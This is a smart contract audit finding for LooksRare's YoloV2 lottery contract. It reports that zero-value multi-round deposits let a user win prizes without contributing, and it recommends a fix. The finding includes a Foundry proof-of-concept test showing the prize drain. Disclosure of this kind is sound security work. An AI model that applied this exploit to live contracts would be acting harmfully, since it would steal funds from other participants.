Amusing Emerald Zebra

high

# Malious users can drain the prize from the winner

## Summary

A critical vulnerability exists in the Yolo contract that allows malicious users to deposit zero ETH into future rounds, potentially draining prizes and disrupting normal operations.

## Vulnerability Detail

The function `depositETHIntoMultipleRounds` allows users to deposit ETH into multiple rounds at once. However, this function only verifies if the total `msg.value` is greater than 0, without checking the individual deposit amounts in the amounts array.

        function depositETHIntoMultipleRounds(uint256[] calldata amounts) external payable nonReentrant whenNotPaused {
            uint256 numberOfRounds = amounts.length;
            if (msg.value == 0 || numberOfRounds == 0) {
                revert ZeroDeposits();
            }

https://github.com/sherlock-audit/2024-01-looksrare/blob/314fd5b753359e07778724342de8dda20713ec2e/contracts-yolo/contracts/YoloV2.sol#L312-L316

This loophole allows a user to deposit a non-zero amount in one round and zero in subsequent rounds. For example, a malicious user could submit an array like `[0.01, 0, 0, 0]`, passing the total value check while effectively depositing nothing in some rounds.

The `_depositETH` function also doesn't check for zero deposit amounts:

        function _depositETH(
            Round storage round,
            uint256 roundId,
            uint256 roundValuePerEntry,
            uint256 depositAmount
        ) private returns (uint256 entriesCount) {
            entriesCount = depositAmount / roundValuePerEntry;

https://github.com/sherlock-audit/2024-01-looksrare/blob/314fd5b753359e07778724342de8dda20713ec2e/contracts-yolo/contracts/YoloV2.sol#L1417-L1424

Allowing users to deposit to unlimited future rounds with amount = 0 has multiple serious implications. It allows malicious users to DOS the future rounds by increaing number of participants without paying, allowing a round with only one actual participant to be drawn so that participant has to pay the fee to withdraw deposits. In the most serious consequence, the malicious user can drain all the rewards from the round.

Details can be checked in the POC.

- Put in `test/foundry/Yolo.fulfillRandomWords.t.sol`
- Run `forge test -vvvvv --match-path test/foundry/Yolo.fulfillRandomWords.t.sol --match-test testHackPOC`

```javascript

  function testHackPOC() public {

        // user 2 is malicious
        vm.deal(user2, 0.01 ether);
        // user 3 is a normal user
        vm.deal(user3, 0.1 ether);

        // user 3 deposit eth multiple rounds in round 1 and 2
        uint256[] memory amountsMulti1 = new uint256[](2);
        amountsMulti1[0] = 0.05e18;
        amountsMulti1[1] = 0.05e18;
        vm.prank(user3);
        yolo.depositETHIntoMultipleRounds{value: 0.1 ether}(amountsMulti1);


        // user 2 deposit eth multiple round with amount 0 in round 2
        uint256[] memory amountsMulti = new uint256[](2);
        amountsMulti[0] = 0.01e18;
        amountsMulti[1] = 0;
        vm.prank(user2);
        yolo.depositETHIntoMultipleRounds{value:0.01e18}(amountsMulti);

        // end round 1 - normal
        vm.warp(block.timestamp + 11 minutes);
        yolo.drawWinner();

        uint256[] memory randomWords = new uint256[](1);
        randomWords[0] = 99;

        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords{gas: 500000}(FULFILL_RANDOM_WORDS_REQUEST_ID, randomWords);

        // end round 2 - interesting thing happens
        vm.warp(block.timestamp + 11 minutes);
        yolo.drawWinner();

        uint256[] memory randomWords2 = new uint256[](1);
        randomWords2[0] = 4; // With random words return 4, 9, 14, 19,... the winner will be assigned to user 2

        vm.prank(VRF_COORDINATOR);
        VRFConsumerBaseV2(yolo).rawFulfillRandomWords{gas: 500000}(97101810247967952848970932981456518489990405688176491887859608349397797467324, randomWords2);

        // user 2 claim the reward in second round even though does not deposit anything in that round.
        uint256[] memory prizesIndices = new uint256[](1);
        prizesIndices[0] = 0;
        IYoloV2.WithdrawalCalldata[] memory withdrawalCalldata = new IYoloV2.WithdrawalCalldata[](1);
        withdrawalCalldata[0].roundId = 2;
        withdrawalCalldata[0].depositIndices = prizesIndices;
        vm.prank(user2);
        yolo.claimPrizes(withdrawalCalldata, false);

        // User 2 get 0.0485 ETH rewards
        assertEq(user2.balance, 0.0485e18);
  }

```

## Impact

This vulnerability can be exploited to:

- Drain prizes from a round without a valid contribution.
- Disrupt the functioning of the contract by flooding rounds with zero-value entries.
- Enable drawing a winner in a round with effectively only one real participant.

## Code Snippet

https://github.com/sherlock-audit/2024-01-looksrare/blob/314fd5b753359e07778724342de8dda20713ec2e/contracts-yolo/contracts/YoloV2.sol#L312-L316

## Tool used

Manual review

## Recommendation

Modify the `_depositETH` function to include a check ensuring that the depositAmount is non-zero:

```diff
    function _depositETH(
        Round storage round,
        uint256 roundId,
        uint256 roundValuePerEntry,
        uint256 depositAmount
    ) private returns (uint256 entriesCount) {
+       require(depositAmount != 0);
        entriesCount = depositAmount / roundValuePerEntry;
```